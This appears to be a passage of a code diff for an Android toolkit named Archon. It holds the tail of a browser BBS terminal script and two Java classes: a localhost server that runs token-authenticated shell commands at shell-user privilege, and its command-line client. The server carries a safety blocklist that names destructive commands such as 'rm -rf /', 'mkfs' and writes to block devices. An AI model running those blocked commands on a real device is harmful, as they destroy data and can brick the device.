|
||||||
|
writeInfo('║ AUTARCH BBS ║');
|
||||||
|
writeInfo('╠════════════════════════════════════╣');
|
||||||
|
writeLine('║ A decentralized bulletin board ║');
|
||||||
|
writeLine('║ system secured by the Veilid ║');
|
||||||
|
writeLine('║ protocol. All communications are ║');
|
||||||
|
writeLine('║ end-to-end encrypted and routed ║');
|
||||||
|
writeLine('║ through an onion-style network. ║');
|
||||||
|
writeInfo('╚════════════════════════════════════╝');
|
||||||
|
},
|
||||||
|
|
||||||
|
version: function() {
|
||||||
|
let ver = '1.0.0';
|
||||||
|
if (window.ArchonBridge) {
|
||||||
|
ver = window.ArchonBridge.getAppVersion();
|
||||||
|
}
|
||||||
|
writeLine('Archon v' + ver);
|
||||||
|
writeLine('Veilid WASM: not loaded (pending deployment)');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
function processCommand(input) {
|
||||||
|
const trimmed = input.trim();
|
||||||
|
if (!trimmed) return;
|
||||||
|
|
||||||
|
writeLine('> ' + trimmed);
|
||||||
|
commandHistory.push(trimmed);
|
||||||
|
historyIndex = commandHistory.length;
|
||||||
|
|
||||||
|
const parts = trimmed.split(/\s+/);
|
||||||
|
const cmd = parts[0].toLowerCase();
|
||||||
|
|
||||||
|
if (commands[cmd]) {
|
||||||
|
commands[cmd](parts.slice(1));
|
||||||
|
} else if (bbs.connected) {
|
||||||
|
// If connected, send as BBS message
|
||||||
|
bbs.sendMessage(trimmed);
|
||||||
|
} else {
|
||||||
|
writeError('Unknown command: ' + cmd);
|
||||||
|
writeSystem('Type "help" for available commands.');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Input handling
|
||||||
|
cmdInput.addEventListener('keydown', function(e) {
|
||||||
|
if (e.key === 'Enter') {
|
||||||
|
processCommand(this.value);
|
||||||
|
this.value = '';
|
||||||
|
} else if (e.key === 'ArrowUp') {
|
||||||
|
e.preventDefault();
|
||||||
|
if (historyIndex > 0) {
|
||||||
|
historyIndex--;
|
||||||
|
this.value = commandHistory[historyIndex];
|
||||||
|
}
|
||||||
|
} else if (e.key === 'ArrowDown') {
|
||||||
|
e.preventDefault();
|
||||||
|
if (historyIndex < commandHistory.length - 1) {
|
||||||
|
historyIndex++;
|
||||||
|
this.value = commandHistory[historyIndex];
|
||||||
|
} else {
|
||||||
|
historyIndex = commandHistory.length;
|
||||||
|
this.value = '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// Keep input focused
|
||||||
|
document.addEventListener('click', function() {
|
||||||
|
cmdInput.focus();
|
||||||
|
});
|
||||||
|
|
||||||
|
// Startup
|
||||||
|
(async function() {
|
||||||
|
writeSuccess('AUTARCH BBS Terminal v1.0');
|
||||||
|
writeSystem('Initializing...');
|
||||||
|
writeSystem('');
|
||||||
|
|
||||||
|
await bbs.initialize();
|
||||||
|
|
||||||
|
writeSystem('Type "help" for commands.');
|
||||||
|
writeSystem('Type "connect" to connect to the BBS.');
|
||||||
|
writeSystem('');
|
||||||
|
|
||||||
|
cmdInput.focus();
|
||||||
|
})();
|
||||||
@ -0,0 +1,311 @@
|
|||||||
|
package com.darkhal.archon.server;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.io.OutputStreamWriter;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.net.InetAddress;
|
||||||
|
import java.net.Socket;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Archon Remote Interactive Shell (arish) — like Shizuku's "rish" but for Archon.
|
||||||
|
*
|
||||||
|
* Connects to the running ArchonServer on localhost and provides an interactive
|
||||||
|
* shell at UID 2000 (shell privileges). This gives terminal users the same
|
||||||
|
* elevated access that the Archon app modules use internally.
|
||||||
|
*
|
||||||
|
* Usage (from adb shell or terminal emulator):
|
||||||
|
* arish — interactive shell
|
||||||
|
* arish <command> — execute single command
|
||||||
|
* arish -t <token> — specify auth token
|
||||||
|
* arish -p <port> — specify server port
|
||||||
|
* echo "pm list packages" | arish — pipe commands
|
||||||
|
*
|
||||||
|
* The "arish" shell script in assets/ sets up CLASSPATH and invokes this via app_process.
|
||||||
|
*
|
||||||
|
* Bootstrap:
|
||||||
|
* CLASSPATH='/data/app/.../base.apk' /system/bin/app_process /system/bin \
|
||||||
|
* --nice-name=arish com.darkhal.archon.server.ArchonRish [args...]
|
||||||
|
*/
|
||||||
|
public class ArchonRish {
|
||||||
|
|
||||||
|
private static final String DEFAULT_TOKEN_FILE = "/data/local/tmp/.archon_token";
|
||||||
|
private static final int DEFAULT_PORT = 17321;
|
||||||
|
private static final int CONNECT_TIMEOUT = 3000;
|
||||||
|
private static final int READ_TIMEOUT = 30000;
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
String token = null;
|
||||||
|
int port = DEFAULT_PORT;
|
||||||
|
String singleCmd = null;
|
||||||
|
boolean showHelp = false;
|
||||||
|
|
||||||
|
// Parse arguments
|
||||||
|
int i = 0;
|
||||||
|
while (i < args.length) {
|
||||||
|
switch (args[i]) {
|
||||||
|
case "-t":
|
||||||
|
case "--token":
|
||||||
|
if (i + 1 < args.length) {
|
||||||
|
token = args[++i];
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case "-p":
|
||||||
|
case "--port":
|
||||||
|
if (i + 1 < args.length) {
|
||||||
|
port = Integer.parseInt(args[++i]);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case "-h":
|
||||||
|
case "--help":
|
||||||
|
showHelp = true;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
// Everything else is a command to execute
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
for (int j = i; j < args.length; j++) {
|
||||||
|
if (j > i) sb.append(' ');
|
||||||
|
sb.append(args[j]);
|
||||||
|
}
|
||||||
|
singleCmd = sb.toString();
|
||||||
|
i = args.length; // break outer loop
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (showHelp) {
|
||||||
|
printHelp();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try to read token from file if not provided
|
||||||
|
if (token == null) {
|
||||||
|
token = readTokenFile();
|
||||||
|
}
|
||||||
|
if (token == null) {
|
||||||
|
System.err.println("arish: no auth token. Use -t <token> or ensure ArchonServer wrote " + DEFAULT_TOKEN_FILE);
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if stdin is a pipe (non-interactive)
|
||||||
|
boolean isPiped = false;
|
||||||
|
try {
|
||||||
|
isPiped = System.in.available() > 0 || singleCmd != null;
|
||||||
|
} catch (Exception e) {
|
||||||
|
// Assume interactive
|
||||||
|
}
|
||||||
|
|
||||||
|
if (singleCmd != null) {
|
||||||
|
// Single command mode
|
||||||
|
int exitCode = executeRemote(token, port, singleCmd);
|
||||||
|
System.exit(exitCode);
|
||||||
|
} else if (isPiped) {
|
||||||
|
// Pipe mode — read commands from stdin
|
||||||
|
runPiped(token, port);
|
||||||
|
} else {
|
||||||
|
// Interactive mode
|
||||||
|
runInteractive(token, port);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void runInteractive(String token, int port) {
|
||||||
|
System.out.println("arish — Archon Remote Interactive Shell (UID 2000)");
|
||||||
|
System.out.println("Connected to ArchonServer on localhost:" + port);
|
||||||
|
System.out.println("Type 'exit' to quit.\n");
|
||||||
|
|
||||||
|
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
System.out.print("arish$ ");
|
||||||
|
System.out.flush();
|
||||||
|
|
||||||
|
String line;
|
||||||
|
try {
|
||||||
|
line = stdin.readLine();
|
||||||
|
} catch (Exception e) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (line == null) break; // EOF
|
||||||
|
line = line.trim();
|
||||||
|
if (line.isEmpty()) continue;
|
||||||
|
if (line.equals("exit") || line.equals("quit")) break;
|
||||||
|
|
||||||
|
executeRemote(token, port, line);
|
||||||
|
}
|
||||||
|
|
||||||
|
System.out.println("\narish: disconnected");
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void runPiped(String token, int port) {
|
||||||
|
BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
|
||||||
|
int lastExit = 0;
|
||||||
|
try {
|
||||||
|
String line;
|
||||||
|
while ((line = stdin.readLine()) != null) {
|
||||||
|
line = line.trim();
|
||||||
|
if (line.isEmpty() || line.startsWith("#")) continue;
|
||||||
|
lastExit = executeRemote(token, port, line);
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.err.println("arish: read error: " + e.getMessage());
|
||||||
|
}
|
||||||
|
System.exit(lastExit);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int executeRemote(String token, int port, String command) {
|
||||||
|
try {
|
||||||
|
InetAddress loopback = InetAddress.getByName("127.0.0.1");
|
||||||
|
Socket sock = new Socket();
|
||||||
|
sock.connect(new java.net.InetSocketAddress(loopback, port), CONNECT_TIMEOUT);
|
||||||
|
sock.setSoTimeout(READ_TIMEOUT);
|
||||||
|
|
||||||
|
PrintWriter writer = new PrintWriter(new OutputStreamWriter(sock.getOutputStream()), true);
|
||||||
|
BufferedReader reader = new BufferedReader(new InputStreamReader(sock.getInputStream()));
|
||||||
|
|
||||||
|
// Send command as JSON
|
||||||
|
String json = "{\"token\":\"" + escapeJson(token) + "\","
|
||||||
|
+ "\"cmd\":\"" + escapeJson(command) + "\","
|
||||||
|
+ "\"timeout\":30}";
|
||||||
|
writer.println(json);
|
||||||
|
writer.flush();
|
||||||
|
|
||||||
|
// Read response
|
||||||
|
String response = reader.readLine();
|
||||||
|
sock.close();
|
||||||
|
|
||||||
|
if (response == null) {
|
||||||
|
System.err.println("arish: no response from server");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse JSON response (minimal hand-parsing, same as ArchonServer pattern)
|
||||||
|
String stdout = extractJsonString(response, "stdout");
|
||||||
|
String stderr = extractJsonString(response, "stderr");
|
||||||
|
int exitCode = extractJsonInt(response, "exit_code", -1);
|
||||||
|
|
||||||
|
if (stdout != null && !stdout.isEmpty()) {
|
||||||
|
System.out.print(stdout);
|
||||||
|
if (!stdout.endsWith("\n")) System.out.println();
|
||||||
|
}
|
||||||
|
if (stderr != null && !stderr.isEmpty()) {
|
||||||
|
System.err.print(stderr);
|
||||||
|
if (!stderr.endsWith("\n")) System.err.println();
|
||||||
|
}
|
||||||
|
|
||||||
|
return exitCode;
|
||||||
|
|
||||||
|
} catch (java.net.ConnectException e) {
|
||||||
|
System.err.println("arish: cannot connect to ArchonServer on localhost:" + port);
|
||||||
|
System.err.println("arish: is the server running? Check Setup tab in Archon app.");
|
||||||
|
return -1;
|
||||||
|
} catch (Exception e) {
|
||||||
|
System.err.println("arish: error: " + e.getMessage());
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── JSON Helpers (hand-rolled, no library dependencies) ──────
|
||||||
|
|
||||||
|
private static String escapeJson(String s) {
|
||||||
|
if (s == null) return "";
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
for (int j = 0; j < s.length(); j++) {
|
||||||
|
char c = s.charAt(j);
|
||||||
|
switch (c) {
|
||||||
|
case '"': sb.append("\\\""); break;
|
||||||
|
case '\\': sb.append("\\\\"); break;
|
||||||
|
case '\n': sb.append("\\n"); break;
|
||||||
|
case '\r': sb.append("\\r"); break;
|
||||||
|
case '\t': sb.append("\\t"); break;
|
||||||
|
default: sb.append(c); break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String extractJsonString(String json, String key) {
|
||||||
|
String searchKey = "\"" + key + "\":\"";
|
||||||
|
int start = json.indexOf(searchKey);
|
||||||
|
if (start < 0) return "";
|
||||||
|
start += searchKey.length();
|
||||||
|
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
boolean escape = false;
|
||||||
|
for (int j = start; j < json.length(); j++) {
|
||||||
|
char c = json.charAt(j);
|
||||||
|
if (escape) {
|
||||||
|
switch (c) {
|
||||||
|
case 'n': sb.append('\n'); break;
|
||||||
|
case 'r': sb.append('\r'); break;
|
||||||
|
case 't': sb.append('\t'); break;
|
||||||
|
case '"': sb.append('"'); break;
|
||||||
|
case '\\': sb.append('\\'); break;
|
||||||
|
default: sb.append(c); break;
|
||||||
|
}
|
||||||
|
escape = false;
|
||||||
|
} else if (c == '\\') {
|
||||||
|
escape = true;
|
||||||
|
} else if (c == '"') {
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
sb.append(c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int extractJsonInt(String json, String key, int defaultValue) {
|
||||||
|
// Try "key":N pattern
|
||||||
|
String searchKey = "\"" + key + "\":";
|
||||||
|
int start = json.indexOf(searchKey);
|
||||||
|
if (start < 0) return defaultValue;
|
||||||
|
start += searchKey.length();
|
||||||
|
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
for (int j = start; j < json.length(); j++) {
|
||||||
|
char c = json.charAt(j);
|
||||||
|
if (c == '-' || (c >= '0' && c <= '9')) {
|
||||||
|
sb.append(c);
|
||||||
|
} else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
return Integer.parseInt(sb.toString());
|
||||||
|
} catch (NumberFormatException e) {
|
||||||
|
return defaultValue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String readTokenFile() {
|
||||||
|
try {
|
||||||
|
java.io.File f = new java.io.File(DEFAULT_TOKEN_FILE);
|
||||||
|
if (!f.exists()) return null;
|
||||||
|
BufferedReader br = new BufferedReader(new java.io.FileReader(f));
|
||||||
|
String token = br.readLine();
|
||||||
|
br.close();
|
||||||
|
if (token != null) token = token.trim();
|
||||||
|
return (token != null && !token.isEmpty()) ? token : null;
|
||||||
|
} catch (Exception e) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void printHelp() {
|
||||||
|
System.out.println("arish — Archon Remote Interactive Shell");
|
||||||
|
System.out.println();
|
||||||
|
System.out.println("Usage:");
|
||||||
|
System.out.println(" arish Interactive shell (UID 2000)");
|
||||||
|
System.out.println(" arish <command> Execute single command");
|
||||||
|
System.out.println(" arish -t <token> Specify auth token");
|
||||||
|
System.out.println(" arish -p <port> Specify server port (default: 17321)");
|
||||||
|
System.out.println(" echo \"cmd\" | arish Pipe commands");
|
||||||
|
System.out.println();
|
||||||
|
System.out.println("The ArchonServer must be running (start from the Archon app Setup tab).");
|
||||||
|
System.out.println("Commands execute at UID 2000 (shell) — same as adb shell.");
|
||||||
|
System.out.println();
|
||||||
|
System.out.println("Token is read from " + DEFAULT_TOKEN_FILE + " if not specified.");
|
||||||
|
System.out.println("The Archon app writes this file when the server starts.");
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,380 @@
|
|||||||
|
package com.darkhal.archon.server;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileWriter;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStreamReader;
|
||||||
|
import java.io.OutputStreamWriter;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.net.InetAddress;
|
||||||
|
import java.net.ServerSocket;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.net.SocketTimeoutException;
|
||||||
|
import java.text.SimpleDateFormat;
|
||||||
|
import java.util.Date;
|
||||||
|
import java.util.Locale;
|
||||||
|
import java.util.concurrent.ExecutorService;
|
||||||
|
import java.util.concurrent.Executors;
|
||||||
|
import java.util.concurrent.TimeUnit;
|
||||||
|
import java.util.concurrent.atomic.AtomicBoolean;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Archon Privileged Server — runs via app_process at shell (UID 2000) level.
|
||||||
|
*
|
||||||
|
* Started via ADB:
|
||||||
|
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
|
||||||
|
* --nice-name=archon_server com.darkhal.archon.server.ArchonServer <token> <port>
|
||||||
|
*
|
||||||
|
* Listens on localhost:<port> for JSON commands authenticated with a token.
|
||||||
|
* Modeled after Shizuku's server architecture but uses TCP sockets instead of Binder IPC.
|
||||||
|
*
|
||||||
|
* Protocol (JSON over TCP, newline-delimited):
|
||||||
|
* Request: {"token":"xxx","cmd":"pm list packages","timeout":30}
|
||||||
|
* Response: {"stdout":"...","stderr":"...","exit_code":0}
|
||||||
|
*
|
||||||
|
* Special commands:
|
||||||
|
* {"token":"xxx","cmd":"__ping__"} → {"stdout":"pong","stderr":"","exit_code":0}
|
||||||
|
* {"token":"xxx","cmd":"__shutdown__"} → server exits gracefully
|
||||||
|
* {"token":"xxx","cmd":"__info__"} → {"stdout":"uid=2000 pid=... uptime=...","stderr":"","exit_code":0}
|
||||||
|
*/
|
||||||
|
public class ArchonServer {
|
||||||
|
|
||||||
|
private static final String TAG = "ArchonServer";
|
||||||
|
private static final String LOG_FILE = "/data/local/tmp/archon_server.log";
|
||||||
|
private static final int DEFAULT_TIMEOUT = 30;
|
||||||
|
private static final int SOCKET_TIMEOUT = 0; // No timeout on accept (blocking)
|
||||||
|
|
||||||
|
// Safety blocklist — commands that could brick the device
|
||||||
|
private static final String[] BLOCKED_PATTERNS = {
|
||||||
|
"rm -rf /",
|
||||||
|
"rm -rf /*",
|
||||||
|
"mkfs",
|
||||||
|
"dd if=/dev/zero",
|
||||||
|
"reboot",
|
||||||
|
"shutdown",
|
||||||
|
"init 0",
|
||||||
|
"init 6",
|
||||||
|
"flash_image",
|
||||||
|
"erase_image",
|
||||||
|
"format_data",
|
||||||
|
"> /dev/block",
|
||||||
|
};
|
||||||
|
|
||||||
|
private static String authToken;
|
||||||
|
private static int listenPort;
|
||||||
|
private static final AtomicBoolean running = new AtomicBoolean(true);
|
||||||
|
private static ExecutorService executor;
|
||||||
|
private static long startTime;
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
if (args.length < 2) {
|
||||||
|
System.err.println("Usage: ArchonServer <token> <port>");
|
||||||
|
System.exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
authToken = args[0];
|
||||||
|
listenPort = Integer.parseInt(args[1]);
|
||||||
|
startTime = System.currentTimeMillis();
|
||||||
|
|
||||||
|
log("Starting Archon Server on port " + listenPort);
|
||||||
|
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
|
||||||
|
|
||||||
|
// Handle SIGTERM for graceful shutdown
|
||||||
|
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
||||||
|
log("Shutdown hook triggered");
|
||||||
|
running.set(false);
|
||||||
|
if (executor != null) {
|
||||||
|
executor.shutdownNow();
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
executor = Executors.newCachedThreadPool();
|
||||||
|
|
||||||
|
try {
|
||||||
|
// Bind to localhost only — not accessible from network
|
||||||
|
InetAddress loopback = InetAddress.getByName("127.0.0.1");
|
||||||
|
ServerSocket serverSocket = new ServerSocket(listenPort, 5, loopback);
|
||||||
|
log("Listening on 127.0.0.1:" + listenPort);
|
||||||
|
|
||||||
|
while (running.get()) {
|
||||||
|
try {
|
||||||
|
Socket client = serverSocket.accept();
|
||||||
|
client.setSoTimeout(60000); // 60s read timeout per connection
|
||||||
|
executor.submit(() -> handleClient(client));
|
||||||
|
} catch (SocketTimeoutException e) {
|
||||||
|
// Expected, loop continues
|
||||||
|
} catch (IOException e) {
|
||||||
|
if (running.get()) {
|
||||||
|
log("Accept error: " + e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
serverSocket.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
log("Fatal: " + e.getMessage());
|
||||||
|
System.exit(2);
|
||||||
|
}
|
||||||
|
|
||||||
|
log("Server stopped");
|
||||||
|
if (executor != null) {
|
||||||
|
executor.shutdown();
|
||||||
|
try {
|
||||||
|
executor.awaitTermination(5, TimeUnit.SECONDS);
|
||||||
|
} catch (InterruptedException ignored) {}
|
||||||
|
}
|
||||||
|
System.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void handleClient(Socket client) {
|
||||||
|
String clientAddr = client.getRemoteSocketAddress().toString();
|
||||||
|
log("Client connected: " + clientAddr);
|
||||||
|
|
||||||
|
try (
|
||||||
|
BufferedReader reader = new BufferedReader(new InputStreamReader(client.getInputStream()));
|
||||||
|
PrintWriter writer = new PrintWriter(new OutputStreamWriter(client.getOutputStream()), true)
|
||||||
|
) {
|
||||||
|
String line;
|
||||||
|
while ((line = reader.readLine()) != null) {
|
||||||
|
String response = processRequest(line);
|
||||||
|
writer.println(response);
|
||||||
|
writer.flush();
|
||||||
|
|
||||||
|
// Check if we should shut down after this request
|
||||||
|
if (!running.get()) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (IOException e) {
|
||||||
|
log("Client error: " + e.getMessage());
|
||||||
|
} finally {
|
||||||
|
try { client.close(); } catch (IOException ignored) {}
|
||||||
|
log("Client disconnected: " + clientAddr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String processRequest(String json) {
|
||||||
|
// Simple JSON parsing without dependencies
|
||||||
|
String token = extractJsonString(json, "token");
|
||||||
|
String cmd = extractJsonString(json, "cmd");
|
||||||
|
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
|
||||||
|
|
||||||
|
// No-auth alive check — allows any client to verify server is running
|
||||||
|
if ("__alive__".equals(cmd)) {
|
||||||
|
return jsonResponse("alive", "", 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify auth token
|
||||||
|
if (token == null || !token.equals(authToken)) {
|
||||||
|
log("Auth failed from request");
|
||||||
|
return jsonResponse("", "Authentication failed", -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmd == null || cmd.isEmpty()) {
|
||||||
|
return jsonResponse("", "No command specified", -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle special commands
|
||||||
|
switch (cmd) {
|
||||||
|
case "__ping__":
|
||||||
|
return jsonResponse("pong", "", 0);
|
||||||
|
|
||||||
|
case "__shutdown__":
|
||||||
|
log("Shutdown requested");
|
||||||
|
running.set(false);
|
||||||
|
return jsonResponse("Server shutting down", "", 0);
|
||||||
|
|
||||||
|
case "__info__":
|
||||||
|
long uptime = (System.currentTimeMillis() - startTime) / 1000;
|
||||||
|
String info = "uid=" + android.os.Process.myUid() +
|
||||||
|
" pid=" + android.os.Process.myPid() +
|
||||||
|
" uptime=" + uptime + "s";
|
||||||
|
return jsonResponse(info, "", 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Safety check
|
||||||
|
if (isBlocked(cmd)) {
|
||||||
|
log("BLOCKED dangerous command: " + cmd);
|
||||||
|
return jsonResponse("", "Command blocked by safety filter", -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Execute the command
|
||||||
|
return executeCommand(cmd, timeout);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static boolean isBlocked(String cmd) {
|
||||||
|
String lower = cmd.toLowerCase(Locale.ROOT).trim();
|
||||||
|
for (String pattern : BLOCKED_PATTERNS) {
|
||||||
|
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String executeCommand(String cmd, int timeoutSec) {
|
||||||
|
try {
|
||||||
|
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
|
||||||
|
pb.redirectErrorStream(false);
|
||||||
|
Process process = pb.start();
|
||||||
|
|
||||||
|
// Read stdout and stderr in parallel to avoid deadlocks
|
||||||
|
StringBuilder stdout = new StringBuilder();
|
||||||
|
StringBuilder stderr = new StringBuilder();
|
||||||
|
|
||||||
|
Thread stdoutThread = new Thread(() -> {
|
||||||
|
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
|
||||||
|
String line;
|
||||||
|
while ((line = br.readLine()) != null) {
|
||||||
|
if (stdout.length() > 0) stdout.append("\n");
|
||||||
|
stdout.append(line);
|
||||||
|
}
|
||||||
|
} catch (IOException ignored) {}
|
||||||
|
});
|
||||||
|
|
||||||
|
Thread stderrThread = new Thread(() -> {
|
||||||
|
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
|
||||||
|
String line;
|
||||||
|
while ((line = br.readLine()) != null) {
|
||||||
|
if (stderr.length() > 0) stderr.append("\n");
|
||||||
|
stderr.append(line);
|
||||||
|
}
|
||||||
|
} catch (IOException ignored) {}
|
||||||
|
});
|
||||||
|
|
||||||
|
stdoutThread.start();
|
||||||
|
stderrThread.start();
|
||||||
|
|
||||||
|
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
|
||||||
|
|
||||||
|
if (!completed) {
|
||||||
|
process.destroyForcibly();
|
||||||
|
stdoutThread.join(1000);
|
||||||
|
stderrThread.join(1000);
|
||||||
|
return jsonResponse(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
stdoutThread.join(5000);
|
||||||
|
stderrThread.join(5000);
|
||||||
|
|
||||||
|
return jsonResponse(stdout.toString(), stderr.toString(), process.exitValue());
|
||||||
|
|
||||||
|
} catch (Exception e) {
|
||||||
|
return jsonResponse("", "Execution error: " + e.getMessage(), -1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── JSON helpers (no library dependencies) ──────────────────────
|
||||||
|
|
||||||
|
private static String jsonResponse(String stdout, String stderr, int exitCode) {
|
||||||
|
return "{\"stdout\":" + jsonEscape(stdout) +
|
||||||
|
",\"stderr\":" + jsonEscape(stderr) +
|
||||||
|
",\"exit_code\":" + exitCode + "}";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String jsonEscape(String s) {
|
||||||
|
if (s == null) return "\"\"";
|
||||||
|
StringBuilder sb = new StringBuilder("\"");
|
||||||
|
for (int i = 0; i < s.length(); i++) {
|
||||||
|
char c = s.charAt(i);
|
||||||
|
switch (c) {
|
||||||
|
case '"': sb.append("\\\""); break;
|
||||||
|
case '\\': sb.append("\\\\"); break;
|
||||||
|
case '\b': sb.append("\\b"); break;
|
||||||
|
case '\f': sb.append("\\f"); break;
|
||||||
|
case '\n': sb.append("\\n"); break;
|
||||||
|
case '\r': sb.append("\\r"); break;
|
||||||
|
case '\t': sb.append("\\t"); break;
|
||||||
|
default:
|
||||||
|
if (c < 0x20) {
|
||||||
|
sb.append(String.format("\\u%04x", (int) c));
|
||||||
|
} else {
|
||||||
|
sb.append(c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sb.append("\"");
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String extractJsonString(String json, String key) {
|
||||||
|
// Pattern: "key":"value" or "key": "value"
|
||||||
|
String search = "\"" + key + "\"";
|
||||||
|
int idx = json.indexOf(search);
|
||||||
|
if (idx < 0) return null;
|
||||||
|
|
||||||
|
idx = json.indexOf(':', idx + search.length());
|
||||||
|
if (idx < 0) return null;
|
||||||
|
|
||||||
|
// Skip whitespace
|
||||||
|
idx++;
|
||||||
|
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||||
|
|
||||||
|
if (idx >= json.length() || json.charAt(idx) != '"') return null;
|
||||||
|
idx++; // skip opening quote
|
||||||
|
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
while (idx < json.length()) {
|
||||||
|
char c = json.charAt(idx);
|
||||||
|
if (c == '\\' && idx + 1 < json.length()) {
|
||||||
|
char next = json.charAt(idx + 1);
|
||||||
|
switch (next) {
|
||||||
|
case '"': sb.append('"'); break;
|
||||||
|
case '\\': sb.append('\\'); break;
|
||||||
|
case 'n': sb.append('\n'); break;
|
||||||
|
case 'r': sb.append('\r'); break;
|
||||||
|
case 't': sb.append('\t'); break;
|
||||||
|
default: sb.append(next); break;
|
||||||
|
}
|
||||||
|
idx += 2;
|
||||||
|
} else if (c == '"') {
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
sb.append(c);
|
||||||
|
idx++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int extractJsonInt(String json, String key, int defaultVal) {
|
||||||
|
String search = "\"" + key + "\"";
|
||||||
|
int idx = json.indexOf(search);
|
||||||
|
if (idx < 0) return defaultVal;
|
||||||
|
|
||||||
|
idx = json.indexOf(':', idx + search.length());
|
||||||
|
if (idx < 0) return defaultVal;
|
||||||
|
|
||||||
|
idx++;
|
||||||
|
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
|
||||||
|
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
|
||||||
|
sb.append(json.charAt(idx));
|
||||||
|
idx++;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
return Integer.parseInt(sb.toString());
|
||||||
|
} catch (NumberFormatException e) {
|
||||||
|
return defaultVal;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Logging ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private static void log(String msg) {
|
||||||
|
